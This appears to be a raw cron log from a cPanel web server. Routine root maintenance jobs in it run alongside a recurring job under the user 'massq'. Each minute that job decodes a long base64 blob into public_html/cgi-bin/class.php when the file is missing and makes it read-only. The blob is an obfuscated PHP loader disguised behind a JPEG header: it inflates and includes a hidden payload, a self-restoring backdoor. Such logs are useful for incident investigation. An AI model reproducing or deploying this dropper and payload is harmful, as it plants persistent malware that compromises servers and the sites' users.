Aug 30 06:53:01 server CROND[20604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:53:01 server CROND[20603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:54:01 server CROND[21032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:54:01 server CROND[21033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:54:01 server CROND[21031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:55:01 server CROND[21408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:55:01 server CROND[21409]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:55:01 server CROND[21417]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:55:01 server CROND[21416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:55:01 server CROND[21419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:55:01 server CROND[21420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:55:01 server CROND[21418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:56:01 server CROND[22280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:56:01 server CROND[22281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:56:01 server CROND[22279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:57:01 server CROND[22767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:57:01 server CROND[22766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:57:01 server CROND[22768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:57:01 server CROND[22770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:58:01 server CROND[23317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:58:01 server CROND[23318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:58:01 server CROND[23319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:59:01 server CROND[23698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:59:01 server CROND[23699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:59:01 server CROND[23700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:00:01 server CROND[24079]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 07:00:01 server CROND[24080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:00:01 server CROND[24081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:00:01 server CROND[24083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:00:01 server CROND[24084]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:00:01 server CROND[24089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:00:01 server CROND[24088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:00:01 server CROND[24090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:00:01 server CROND[24104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:01:01 server CROND[24926]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 07:01:01 server CROND[24927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:01:01 server CROND[24929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:01:01 server CROND[24928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:01:01 server run-parts(/etc/cron.hourly)[24926]: starting 0anacron
Aug 30 07:01:01 server run-parts(/etc/cron.hourly)[24947]: finished 0anacron
Aug 30 07:02:01 server CROND[25307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:02:01 server CROND[25306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:02:01 server CROND[25308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:03:01 server CROND[25778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:03:01 server CROND[25779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:03:01 server CROND[25780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:04:01 server CROND[26179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:04:01 server CROND[26180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:04:01 server CROND[26181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:05:01 server CROND[26565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:05:01 server CROND[26567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
